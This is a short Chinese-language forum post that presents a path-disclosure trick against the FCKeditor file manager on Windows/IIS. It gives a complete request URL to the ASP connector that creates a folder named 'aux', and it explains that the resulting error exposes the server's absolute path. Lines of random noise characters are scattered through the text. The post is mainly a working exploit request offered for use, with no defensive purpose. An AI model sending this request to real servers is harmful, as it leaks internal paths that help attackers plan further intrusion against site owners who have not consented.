最新FCKeditor爆绝对路径漏洞

admin

代码：FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=%2F&NewFolderName=aux

5 I7 e* P2 _6 S5 Y
; d* i. [$ ]( g* J版本未测试。。。
/ r1 x2 i* ^7 g; i1 I
原理：新建个aux文件夹，aux在windows系统不支持，所以会报错，爆出绝对路径，这个比较鸡肋。求大神别喷。。。
! Z& J( ^8 I2 J" j6 F+ b
  i$ m) v/ B: K% {
听说IIS都可以。。
  ?6 W1 H5 ]$ ~, m